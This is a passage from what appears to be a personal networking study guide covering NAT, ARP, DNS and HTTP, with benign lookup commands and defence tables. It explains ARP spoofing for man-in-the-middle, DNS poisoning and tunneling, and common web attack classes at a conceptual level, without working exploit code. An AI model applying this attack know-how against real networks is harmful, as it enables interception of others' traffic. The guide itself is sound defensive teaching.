<p>This prints <code class="language-plaintext highlighter-rouge">122.167.103.200</code> — matching the container exactly. 🎯 That’s the proof: both machines leave through the <strong>same public IP</strong> (<code class="language-plaintext highlighter-rouge">122.167.103.200</code>, my home router’s address), even though <em>inside</em> they’re <code class="language-plaintext highlighter-rouge">192.168.1.24</code> and <code class="language-plaintext highlighter-rouge">172.17.0.2</code> respectively. You can force the other direction too:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># On the Mac — force IPv6:
curl -s -6 ifconfig.me     # → the 2401:4900:... address again
</code></pre></div></div>

<h3 id="the-three-layers-of-address">The three layers of address</h3>

<p>There are actually <strong>three</strong> layers of address in play here, and this experiment surfaced all of them:</p>

<table>
  <thead>
    <tr>
      <th>Layer</th>
      <th>Container</th>
      <th>Mac</th>
      <th>What it is</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Private internal</strong></td>
      <td><code class="language-plaintext highlighter-rouge">172.17.0.2</code></td>
      <td><code class="language-plaintext highlighter-rouge">192.168.1.24</code></td>
      <td>inside-only, invisible to the internet</td>
    </tr>
    <tr>
      <td><strong>Public IPv4</strong></td>
      <td><code class="language-plaintext highlighter-rouge">122.167.103.200</code></td>
      <td><code class="language-plaintext highlighter-rouge">122.167.103.200</code></td>
      <td>my home’s address, old language</td>
    </tr>
    <tr>
      <td><strong>Public IPv6</strong></td>
      <td><em>(none)</em></td>
      <td><code class="language-plaintext highlighter-rouge">2401:4900:...</code></td>
      <td>my home’s address, new language</td>
    </tr>
  </tbody>
</table>

<p>The private addresses are <strong>different</strong> (different internal rooms). The public IPv4 is <strong>identical</strong> (same front door). The Mac just <em>also</em> has an IPv6 door the container doesn’t. That shared-public-exit-from-different-private-rooms trick is exactly what <strong>NAT</strong> does — the topic this chapter is named for, and what the rest of this chapter explains.</p>

<h3 id="how-nat-actually-rewrites-the-packet">How NAT actually rewrites the packet</h3>

<p>Here’s the puzzle that makes the whole thing click. Run <code class="language-plaintext highlighter-rouge">ifconfig en0</code> on my Mac (or <code class="language-plaintext highlighter-rouge">ip a</code> on Linux) and the Wi-Fi interface reports:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>en0: inet 192.168.1.24 netmask 0xffffff00     ← my local IPv4 (0xffffff00 = /24)
     ether 36:ef:da:3a:2d:05                   ← the MAC (hardware ID)
     inet6 fe80::1418:59f8:2acb:a073%en0       ← IPv6 link-local
</code></pre></div></div>

<p>But open any “what is my IP?” website and it shows something completely different:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>27.5.157.32                ← what the website sees
</code></pre></div></div>

<p>Two different addresses for one laptop — and both are correct. They’re just at <strong>different levels</strong> of the network:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            Internet
               ▲
          27.5.157.32        ← PUBLIC IP  (assigned by my ISP)
               ▲
            Router            ← 192.168.1.1
               ▲
        192.168.1.24          ← LOCAL IP  (assigned by my router)
            Laptop
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>Local IP (<code class="language-plaintext highlighter-rouge">192.168.1.24</code>)</th>
      <th>Public IP (<code class="language-plaintext highlighter-rouge">27.5.157.32</code>)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Assigned by</td>
      <td>my Wi-Fi <strong>router</strong> (DHCP)</td>
      <td>my <strong>ISP</strong></td>
    </tr>
    <tr>
      <td>Who can use it</td>
      <td>only devices <strong>inside</strong> my home network</td>
      <td>the whole <strong>internet</strong></td>
    </tr>
    <tr>
      <td>Where it shows up</td>
      <td><code class="language-plaintext highlighter-rouge">ifconfig</code> / <code class="language-plaintext highlighter-rouge">ip a</code> on the device</td>
      <td>“what is my IP?” sites, server logs</td>
    </tr>
  </tbody>
</table>

<p><strong>Why doesn’t the website see <code class="language-plaintext highlighter-rouge">192.168.1.24</code>?</strong> Because private addresses are <em>not routable on the internet</em>. These ranges are reserved for internal use and reused in millions of homes at once:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.0.0.0     – 10.255.255.255     (10.x.x.x)
172.16.0.0   – 172.31.255.255     (172.16–31.x.x)
192.168.0.0  – 192.168.255.255    (192.168.x.x)
</code></pre></div></div>

<p>Right now countless laptops worldwide are sitting at <code class="language-plaintext highlighter-rouge">192.168.1.24</code> — so it’s meaningless as a global destination. Before my traffic ever leaves the house, the router fixes this with <strong>NAT</strong> (Network Address Translation): it <strong>rewrites the source address</strong> on the way out.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Packet leaving my laptop:
   source = 192.168.1.24   ← private, internet can't reply to this

Router applies NAT:
   source = 27.5.157.32    ← its own public IP

What Google receives:
   source = 27.5.157.32    ← Google never sees 192.168.1.24
</code></pre></div></div>

<p>Google replies to <code class="language-plaintext highlighter-rouge">27.5.157.32</code>; the router remembers which inside device asked and hands the reply back to <code class="language-plaintext highlighter-rouge">192.168.1.24</code>. (That “remembering” is the <strong>translation table</strong> — I take it apart properly in the <strong>Firewalls &amp; NAT Defense</strong> chapter, where the same mechanic turns out to also block inbound attacks.)</p>

<p>So when I see <code class="language-plaintext highlighter-rouge">192.168.1.24</code> in the terminal but <code class="language-plaintext highlighter-rouge">27.5.157.32</code> on a website, nothing is wrong — they’re <strong>both my IP</strong>, one for inside the house and one for facing the world. The same <code class="language-plaintext highlighter-rouge">ifconfig</code> output above also shows two addresses worth recognising on sight, both already covered in the <strong>IP Addresses</strong> chapter: the <strong>loopback</strong> <code class="language-plaintext highlighter-rouge">127.0.0.1</code> (this machine talking to itself, never leaves the OS) and the interface’s <strong>MAC</strong> <code class="language-plaintext highlighter-rouge">36:ef:da:3a:2d:05</code> (the <code class="language-plaintext highlighter-rouge">ether</code> line — the hardware ID that the next chapter is all about).</p>

<h2 id="mac-addresses--arp">MAC Addresses &amp; ARP</h2>

<p>The hardware ID on your local network — and why ARP has no authentication, making it the LAN man-in-the-middle attack surface.</p>

<h3 id="two-addresses-two-different-jobs">Two addresses, two different jobs</h3>

<p>Every device on a network carries <strong>two</strong> addresses, and they answer different questions. The IP address is <em>where</em> — it routes data across networks. The MAC address is <em>who</em> — it identifies the exact piece of hardware on the local wire.</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>MAC address</th>
      <th>IP address</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Example</td>
      <td><code class="language-plaintext highlighter-rouge">82:4b:d2:f8:aa:1b</code></td>
      <td><code class="language-plaintext highlighter-rouge">192.168.1.24</code></td>
    </tr>
    <tr>
      <td>Answers</td>
      <td><strong>WHO</strong> is the device</td>
      <td><strong>WHERE</strong> is the device</td>
    </tr>
    <tr>
      <td>Layer</td>
      <td>Link (Layer 2)</td>
      <td>Network (Layer 3)</td>
    </tr>
    <tr>
      <td>Assigned by</td>
      <td>Hardware maker (burned in)</td>
      <td>Router / DHCP (changes)</td>
    </tr>
    <tr>
      <td>Scope</td>
      <td>Local network only</td>
      <td>Local + across the internet</td>
    </tr>
    <tr>
      <td>Analogy</td>
      <td>Fingerprint</td>
      <td>Mailing address</td>
    </tr>
  </tbody>
</table>

<p>The big idea: a packet needs <strong>both</strong>. The IP gets it across the internet to <em>your</em> network; the MAC delivers it to the <em>exact device</em> on the local wire. This is the Link-vs-Network split from the <strong>Layers</strong> chapter made concrete — IP lives on the Network floor, MAC on the Link floor.</p>

<h3 id="the-problem-arp-solves">The problem ARP solves</h3>

<p>Say my laptop (<code class="language-plaintext highlighter-rouge">192.168.1.24</code>) wants to send something to the router at <code class="language-plaintext highlighter-rouge">192.168.1.1</code>. It knows the <strong>IP</strong> — but to actually put a frame on the local wire, the Link floor needs a <strong>MAC</strong>, and it doesn’t have one yet. A machine can’t deliver anything locally with just an IP; it <em>must</em> translate IP → MAC first.</p>

<p>That translator is <strong>ARP</strong> (Address Resolution Protocol). Its one job:</p>

<blockquote>
  <p>Give me an IP, I’ll find the MAC that owns it.</p>
</blockquote>

<h3 id="how-arp-works-step-by-step">How ARP works, step by step</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My laptop (192.168.1.24) wants to reach 192.168.1.1

1. ARP REQUEST  — a broadcast, sent to EVERYONE on the subnet
   Laptop -&gt; all devices:
   "Who has 192.168.1.1? Tell 192.168.1.24 your MAC."
   (destination MAC = ff:ff:ff:ff:ff:ff  &lt;- the broadcast address)

2. ARP REPLY    — a unicast, only the owner answers
   Router -&gt; laptop:
   "192.168.1.1 is at 0c:36:23:75:9a:f0"

3. CACHE IT     — stored so it won't have to ask again
   This is exactly what `arp -a` displays.
</code></pre></div></div>

<p>A few facts that matter:</p>

<ul>
  <li>ARP works <strong>only within one subnet</strong> (my <code class="language-plaintext highlighter-rouge">192.168.1.x</code>). It can’t resolve internet addresses — that’s the router’s job once the frame reaches it.</li>
  <li>The cache <strong>expires</strong> after a few minutes, so the machine re-asks periodically.</li>
  <li>Some entries (like multicast) are permanent and never expire.</li>
</ul>

<h3 id="the-fatal-flaw-no-authentication">The fatal flaw: no authentication</h3>

<p>When a reply arrives saying “<code class="language-plaintext highlighter-rouge">192.168.1.1</code> is at <em>some MAC</em>,” the laptop’s reaction is simply: <em>okay, I believe you.</em> No questions asked. ARP has no password, no signature, no check that the replier is who it claims — and crucially, no check that you even <em>asked</em> the question. It accepts <strong>unsolicited replies</strong>.</p>

<p>Why? ARP was designed in 1982 for small, trusted networks where everyone was assumed honest. That assumption is exactly the vulnerability today.</p>

<h3 id="the-attack-arp-spoofing-leads-to-man-in-the-middle">The attack: ARP spoofing leads to man-in-the-middle</h3>

<p>Normally traffic flows straight out:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>My laptop ---&gt; Router (192.168.1.1) ---&gt; Internet
</code></pre></div></div>

<p>An attacker sends <strong>fake ARP replies</strong> to both sides:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>To my laptop:  "192.168.1.1  is at [ATTACKER's MAC]"   (lie)
To the router: "192.168.1.24 is at [ATTACKER's MAC]"   (lie)

Both believe it (no verification), so now:

My laptop ---&gt; ATTACKER ---&gt; Router ---&gt; Internet
                  |
            sees ALL my traffic
</code></pre></div></div>

<p>That is a <strong>man-in-the-middle (MITM)</strong> attack. Once in the middle, the attacker can sniff unencrypted traffic (passwords on plain-HTTP sites), modify data in transit, SSL-strip (downgrade HTTPS to HTTP), or hijack sessions.</p>

<p>How you’d spot it: the router’s MAC in <code class="language-plaintext highlighter-rouge">arp -a</code> suddenly changes from its real value to a different one. That’s the red flag.</p>

<h3 id="defenses">Defenses</h3>

<table>
  <thead>
    <tr>
      <th>Defense</th>
      <th>What it does</th>
      <th>Who uses it</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Encryption (HTTPS / VPN)</td>
      <td>Intercepted traffic stays unreadable — the number-one protection</td>
      <td>Everyone</td>
    </tr>
    <tr>
      <td>Static ARP entries</td>
      <td>Manually pin IP↔MAC: <code class="language-plaintext highlighter-rouge">sudo arp -s 192.168.1.1 0c:36:23:75:9a:f0</code></td>
      <td>Home power-users</td>
    </tr>
    <tr>
      <td>Dynamic ARP Inspection (DAI)</td>
      <td>Switch verifies replies against a trusted table, drops fakes</td>
      <td>Enterprise</td>
    </tr>
    <tr>
      <td>ARP monitoring (<code class="language-plaintext highlighter-rouge">arpwatch</code>)</td>
      <td>Alerts when an IP’s MAC changes</td>
      <td>Security-conscious users</td>
    </tr>
    <tr>
      <td>Network segmentation (VLANs)</td>
      <td>Limits who can even send ARP to you</td>
      <td>Enterprises</td>
    </tr>
  </tbody>
</table>

<p>The practical takeaway: always use HTTPS plus a VPN on public Wi-Fi. Even if someone MITMs you via ARP spoofing, your data stays encrypted and useless to them.</p>

<h3 id="the-complete-mental-model">The complete mental model</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>IP ADDRESS (192.168.1.24) = WHERE
routes data across networks
        |
        |  must become a MAC for local delivery
        v
      [ ARP ]   the translator: IP -&gt; MAC
                (no authentication!)
        |
        v
MAC ADDRESS (82:4b:d2:f8:aa:1b) = WHO
delivers data to the exact device locally

The flaw: ARP trusts ANY reply -&gt; attacker lies -&gt;
traffic reroutes through attacker -&gt; man-in-the-middle
</code></pre></div></div>

<h2 id="dns">DNS</h2>

<p>How names (<code class="language-plaintext highlighter-rouge">google.com</code>) turn into IP numbers — and how it’s abused (spoofing, tunneling).</p>

<p>ARP translates IP → MAC <em>inside</em> my network. DNS does the layer above that: it translates <strong>names → IP addresses</strong> across the whole internet. It’s the step that happens <em>before</em> ARP even gets involved.</p>

<h3 id="the-problem-dns-solves">The problem DNS solves</h3>

<p>I type <code class="language-plaintext highlighter-rouge">google.com</code>. But computers don’t route on names — they route on IP addresses like <code class="language-plaintext highlighter-rouge">142.250.182.14</code>. Humans remember names; machines need numbers. <strong>DNS (Domain Name System)</strong> is the internet’s phonebook that bridges the two.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I type:    google.com          &lt;- human-friendly name
DNS gives: 142.250.182.14       &lt;- machine-routable IP
</code></pre></div></div>

<blockquote>
  <p>DNS’s one job: give me a name, I’ll find its IP address.</p>
</blockquote>

<p>It’s the exact same pattern as ARP, just one floor up:</p>

<table>
  <thead>
    <tr>
      <th>Protocol</th>
      <th>Translates</th>
      <th>Scope</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DNS</td>
      <td>name → IP</td>
      <td>whole internet</td>
    </tr>
    <tr>
      <td>ARP</td>
      <td>IP → MAC</td>
      <td>local network only</td>
    </tr>
  </tbody>
</table>

<h3 id="the-lookup-chain-step-by-step">The lookup chain, step by step</h3>

<p>When I visit <code class="language-plaintext highlighter-rouge">www.example.com</code>, my computer asks a <em>chain</em> of servers. Each one either knows the answer or points to who does.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Me -&gt; www.example.com?

1. RESOLVER (my ISP's, or 8.8.8.8)
   "I'll find it for you." Checks its cache first.

2. ROOT server (.)
   "Don't know example.com, but ask the .com servers -&gt;"

3. TLD server (.com)
   "Don't know the IP, but example.com's nameserver is -&gt;"

4. AUTHORITATIVE server (example.com's own)
   "www.example.com is at 93.184.216.34"

5. CACHE IT
   Resolver + my computer store it (TTL) so they won't re-ask.
</code></pre></div></div>

<p>The hierarchy reads <strong>right to left</strong> — that’s the order DNS actually resolves it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www  .  example  .  com  .
 |       |          |    |
host   domain      TLD  root
</code></pre></div></div>

<h3 id="common-record-types">Common record types</h3>

<table>
  <thead>
    <tr>
      <th>Record</th>
      <th>Maps</th>
      <th>Example</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">A</code></td>
      <td>name → IPv4</td>
      <td><code class="language-plaintext highlighter-rouge">example.com</code> → <code class="language-plaintext highlighter-rouge">93.184.216.34</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">AAAA</code></td>
      <td>name → IPv6</td>
      <td><code class="language-plaintext highlighter-rouge">example.com</code> → <code class="language-plaintext highlighter-rouge">2606:2800:220:1::...</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">CNAME</code></td>
      <td>alias → another name</td>
      <td><code class="language-plaintext highlighter-rouge">www.example.com</code> → <code class="language-plaintext highlighter-rouge">example.com</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">MX</code></td>
      <td>domain → mail server</td>
      <td>for email delivery</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">TXT</code></td>
      <td>text data</td>
      <td>SPF/DKIM (anti-spam), domain verification</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">NS</code></td>
      <td>domain → its nameservers</td>
      <td>who’s authoritative</td>
    </tr>
  </tbody>
</table>

<h3 id="caching-and-ttl">Caching and TTL</h3>

<p>Every DNS answer comes with a <strong>TTL (Time To Live)</strong> — how many seconds to cache it before re-asking.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>example.com  -&gt;  93.184.216.34   TTL=3600   (cache for 1 hour)
</code></pre></div></div>

<p>Caching happens at multiple levels: browser → OS → router → ISP’s resolver. This is why DNS changes (like moving a website to a new server) take time to “propagate” — old answers stay cached until their TTL expires.</p>

<h3 id="the-security-problems">The security problems</h3>

<p>Like ARP, classic DNS was built for a trusting era — plaintext, no authentication. That opens several attacks:</p>

<table>
  <thead>
    <tr>
      <th>Attack</th>
      <th>What happens</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DNS spoofing / cache poisoning</td>
      <td>Attacker injects a fake answer, so a real name resolves to a malicious IP</td>
    </tr>
    <tr>
      <td>DNS hijacking</td>
      <td>Malware or a compromised router changes your resolver to an attacker-controlled one</td>
    </tr>
    <tr>
      <td>MITM on DNS</td>
      <td>Requests are plaintext (UDP port 53), so a man-in-the-middle (e.g. via ARP spoofing) can read or alter them</td>
    </tr>
    <tr>
      <td>DNS tunneling</td>
      <td>Attackers smuggle data or C2 traffic hidden inside DNS queries to evade firewalls</td>
    </tr>
  </tbody>
</table>

<p>This connects straight back to the <strong>MAC/ARP</strong> chapter: an attacker who’s already MITM’d me via ARP spoofing can also tamper with my plaintext DNS — answering <code class="language-plaintext highlighter-rouge">bank.com</code> → <em>attacker’s IP</em> and sending me to a phishing clone.</p>

<h3 id="defenses-1">Defenses</h3>

<table>
  <thead>
    <tr>
      <th>Defense</th>
      <th>What it does</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>DNSSEC</td>
      <td>Cryptographically signs DNS records so forged answers are rejected</td>
    </tr>
    <tr>
      <td>DNS over HTTPS (DoH)</td>
      <td>Encrypts DNS queries inside HTTPS (port 443) — can’t be read or altered</td>
    </tr>
    <tr>
      <td>DNS over TLS (DoT)</td>
      <td>Encrypts DNS over TLS (port 853)</td>
    </tr>
    <tr>
      <td>Trusted resolvers</td>
      <td>Use reputable ones: <code class="language-plaintext highlighter-rouge">1.1.1.1</code> (Cloudflare), <code class="language-plaintext highlighter-rouge">8.8.8.8</code> (Google)</td>
    </tr>
    <tr>
      <td>HTTPS everywhere</td>
      <td>Even if sent to a wrong IP, the TLS cert won’t match the name → the browser warns you</td>
    </tr>
  </tbody>
</table>

<h3 id="hands-on-try-these-on-a-mac">Hands-on (try these on a Mac)</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Look up a domain's IP (modern tool)
dig google.com

# Just the answer, clean
dig +short google.com

# Look up a specific record type
dig MX google.com          # mail servers
dig AAAA google.com        # IPv6
dig TXT google.com         # text records

# Use a specific resolver (Cloudflare) instead of the default
dig @1.1.1.1 google.com

# Reverse lookup: IP -&gt; name
dig -x 8.8.8.8

# The classic macOS tool
nslookup google.com

# See / flush the Mac's DNS cache
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder

# Which resolver is the Mac using?
scutil --dns | grep nameserver
</code></pre></div></div>

<p>Worth trying: run <code class="language-plaintext highlighter-rouge">dig +short google.com</code> twice. The second is instant — it was cached. Watch the TTL field in full <code class="language-plaintext highlighter-rouge">dig</code> output count down between queries.</p>

<h3 id="the-complete-mental-model-1">The complete mental model</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I type a NAME (google.com)
        |
      [ DNS ]   name -&gt; IP   (internet phonebook, port 53)
                (plaintext + no auth = spoofable!)
        |
        |  now I have the IP (142.250.182.14)
      [ ARP ]   IP -&gt; MAC    (local delivery, the previous chapter)
        |
        v
packet reaches the right device -&gt; router -&gt; internet
</code></pre></div></div>

<hr />

<h1 id="connections">Connections</h1>

<h2 id="http">HTTP</h2>

<p>The web’s language at the byte level — requests, methods, headers, status codes. The protocol you’ll attack most.</p>

<h3 id="where-http-sits">Where HTTP sits</h3>

<p>Everything from the chapters above stacks up under HTTP. When I type <code class="language-plaintext highlighter-rouge">https://example.com</code>, the request rides down through the floors I already know:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I type:  https://example.com
      |
   [ HTTP ]   the actual request/response (what page I want, what the server says)
   [ TCP  ]   reliable connection — "the call"
   [ IP   ]   192.168.1.24  -&gt; WHERE (routing)
   [ MAC+ARP] -&gt; WHO (local delivery)
</code></pre></div></div>

<p>HTTP is just the <em>content</em> of the conversation. My data still travels MAC → IP → router exactly as before; HTTP rides on top of all of it.</p>

<h3 id="what-http-is">What HTTP is</h3>

<p>HTTP — HyperText Transfer Protocol — is the rules for how a browser (the <strong>client</strong>) asks a web server for things, and how the server answers. It’s a simple <strong>request → response</strong> pattern:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CLIENT (browser)                    SERVER (website)
     |                                    |
     | ---- "GET me the homepage" ------&gt; |   request
     |                                    |
     | &lt;--- "200 OK, here's the HTML" --- |   response
</code></pre></div></div>

<p>The key trait: HTTP is <strong>stateless</strong> — each request stands alone, and the server doesn’t remember me between requests by default. Cookies and tokens are how sites add memory — and a big part of the attack surface.</p>

<h3 id="http-at-the-byte-level">HTTP at the byte level</h3>

<p>What makes HTTP approachable is that it’s just <strong>plain text I can read</strong>. A raw request looks like this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /index.html HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Cookie: session=abc123

(blank line = end of headers)
</code></pre></div></div>

<p>And the raw response:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1256
Set-Cookie: session=xyz789

&lt;!DOCTYPE html&gt;
&lt;html&gt;...the page...&lt;/html&gt;
</code></pre></div></div>

<p>Every web request I’ve ever made looks like this underneath. That’s the “at the byte level” promise — no magic, just structured text.</p>

<h3 id="the-four-building-blocks">The four building blocks</h3>

<p><strong>1. Methods</strong> — the verb, what I want to do:</p>

<table>
  <thead>
    <tr>
      <th>Method</th>
      <th>Means</th>
      <th>Example use</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">GET</code></td>
      <td>“Give me this”</td>
      <td>Load a page</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">POST</code></td>
      <td>“Here’s data, process it”</td>
      <td>Submit a login form</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PUT</code></td>
      <td>“Create / replace this”</td>
      <td>Update a profile</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">DELETE</code></td>
      <td>“Remove this”</td>
      <td>Delete an account</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">HEAD</code></td>
      <td>“Headers only, no body”</td>
      <td>Check if a page exists</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">PATCH</code></td>
      <td>“Partially update”</td>
      <td>Change one field</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">OPTIONS</code></td>
      <td>“What can I do here?”</td>
      <td>Check allowed methods</td>
    </tr>
  </tbody>
</table>

<p><em>Security angle:</em> attackers probe which methods are allowed. A <code class="language-plaintext highlighter-rouge">DELETE</code> or <code class="language-plaintext highlighter-rouge">PUT</code> left open can let them modify or delete data they shouldn’t.</p>

<p><strong>2. Headers</strong> — the metadata, <code class="language-plaintext highlighter-rouge">Key: Value</code> lines carrying context:</p>

<ul>
  <li>Request: <code class="language-plaintext highlighter-rouge">Host:</code> (which site — vital, one server hosts many), <code class="language-plaintext highlighter-rouge">User-Agent:</code> (browser/device), <code class="language-plaintext highlighter-rouge">Cookie:</code> (session/login token), <code class="language-plaintext highlighter-rouge">Authorization:</code> (credentials/tokens).</li>
  <li>Response: <code class="language-plaintext highlighter-rouge">Content-Type:</code> (HTML, JSON, image), <code class="language-plaintext highlighter-rouge">Set-Cookie:</code> (server hands me a session), <code class="language-plaintext highlighter-rouge">Location:</code> (redirect target), and security headers like <code class="language-plaintext highlighter-rouge">Content-Security-Policy</code> and <code class="language-plaintext highlighter-rouge">Strict-Transport-Security</code>.</li>
</ul>

<p><em>Security angle:</em> headers are a huge attack surface — manipulating <code class="language-plaintext highlighter-rouge">Cookie</code>, <code class="language-plaintext highlighter-rouge">Host</code>, <code class="language-plaintext highlighter-rouge">Referer</code>, or <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> is the basis of session hijacking, host header injection, and more.</p>

<p><strong>3. Status codes</strong> — the server’s 3-digit reply. Memorize the categories:</p>

<table>
  <thead>
    <tr>
      <th>Range</th>
      <th>Meaning</th>
      <th>Common examples</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1xx</code></td>
      <td>Info</td>
      <td><code class="language-plaintext highlighter-rouge">100 Continue</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">2xx</code></td>
      <td>Success</td>
      <td><code class="language-plaintext highlighter-rouge">200 OK</code>, <code class="language-plaintext highlighter-rouge">201 Created</code>, <code class="language-plaintext highlighter-rouge">204 No Content</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">3xx</code></td>
      <td>Redirect</td>
      <td><code class="language-plaintext highlighter-rouge">301 Moved</code>, <code class="language-plaintext highlighter-rouge">302 Found</code>, <code class="language-plaintext highlighter-rouge">304 Not Modified</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">4xx</code></td>
      <td>Your fault</td>
      <td><code class="language-plaintext highlighter-rouge">400 Bad Request</code>, <code class="language-plaintext highlighter-rouge">401 Unauthorized</code>, <code class="language-plaintext highlighter-rouge">403 Forbidden</code>, <code class="language-plaintext highlighter-rouge">404 Not Found</code>, <code class="language-plaintext highlighter-rouge">429 Too Many Requests</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">5xx</code></td>
      <td>Server’s fault</td>
      <td><code class="language-plaintext highlighter-rouge">500 Internal Error</code>, <code class="language-plaintext highlighter-rouge">502 Bad Gateway</code>, <code class="language-plaintext highlighter-rouge">503 Unavailable</code></td>
    </tr>
  </tbody>
</table>

<p><em>Security angle:</em> status codes leak information. <code class="language-plaintext highlighter-rouge">401</code> vs <code class="language-plaintext highlighter-rouge">403</code> vs <code class="language-plaintext highlighter-rouge">404</code> can reveal whether a resource exists — attackers use this to map hidden pages (enumeration). <code class="language-plaintext highlighter-rouge">500</code> errors may leak stack traces.</p>

<p><strong>4. Body</strong> — the payload, the actual data: HTML, JSON, form data, file uploads. <code class="language-plaintext highlighter-rouge">GET</code> usually has no body; <code class="language-plaintext highlighter-rouge">POST</code>/<code class="language-plaintext highlighter-rouge">PUT</code> carry data here.</p>

<p><em>Security angle:</em> the body is where injection attacks live — SQL injection, XSS payloads, and malicious JSON all travel in the body.</p>

<h3 id="http-vs-https">HTTP vs HTTPS</h3>

<p>This ties straight back to the ARP/MITM chapter:</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>HTTP</th>
      <th>HTTPS</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Encrypted?</td>
      <td>No — plain text</td>
      <td>Yes — encrypted (TLS)</td>
    </tr>
    <tr>
      <td>Port</td>
      <td>80</td>
      <td>443</td>
    </tr>
    <tr>
      <td>MITM risk</td>
      <td>Anyone in the middle can read it</td>
      <td>Intercepted traffic is unreadable</td>
    </tr>
  </tbody>
</table>

<p>Remember the ARP spoofing attack? If an attacker MITMs me and I’m on HTTP, they read everything — passwords, cookies, messages. On HTTPS they just see encrypted garbage. That’s exactly why HTTPS defeats the ARP attack from the earlier chapter — it all connects.</p>

<h3 id="hands-on-with-curl">Hands-on with curl</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># See the full request + response headers
curl -v https://example.com
# The &gt; lines are the request, the &lt; lines are the response —
# methods, headers, and the status code, live.

# See ONLY response headers (status code + headers)
curl -I https://example.com        # -&gt; HTTP/2 200, Content-Type:, etc.

# Watch a redirect (3xx) in action
curl -IL http://github.com         # -&gt; 301 HTTP-&gt;HTTPS, then 200

# Make different methods
curl -X POST https://httpbin.org/post -d "user=test&amp;pass=123"
# httpbin echoes back exactly what you sent — great for learning.

# Trigger status codes on purpose
curl -I https://httpbin.org/status/404    # -&gt; 404
curl -I https://httpbin.org/status/500    # -&gt; 500
curl -I https://httpbin.org/status/301    # -&gt; 301
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">httpbin.org</code> is a free practice server designed for learning HTTP — safe to experiment on.</p>

<h3 id="why-the-protocol-youll-attack-most">Why “the protocol you’ll attack most”</h3>

<p>The web runs on HTTP, so most security testing targets it. Common HTTP-based attack classes (for defensive understanding):</p>

<table>
  <thead>
    <tr>
      <th>Attack</th>
      <th>What it abuses</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SQL injection</td>
      <td>Malicious input in the request body/params</td>
    </tr>
    <tr>
      <td>XSS (cross-site scripting)</td>
      <td>Injected scripts in input → run in victims’ browsers</td>
    </tr>
    <tr>
      <td>CSRF</td>
      <td>Tricking my browser into sending authenticated requests</td>
    </tr>
    <tr>
      <td>Session hijacking</td>
      <td>Stealing the <code class="language-plaintext highlighter-rouge">Cookie</code> header’s session token</td>
    </tr>
    <tr>
      <td>Parameter tampering</td>
      <td>Changing values (price, user ID) in requests</td>
    </tr>
    <tr>
      <td>Header injection</td>
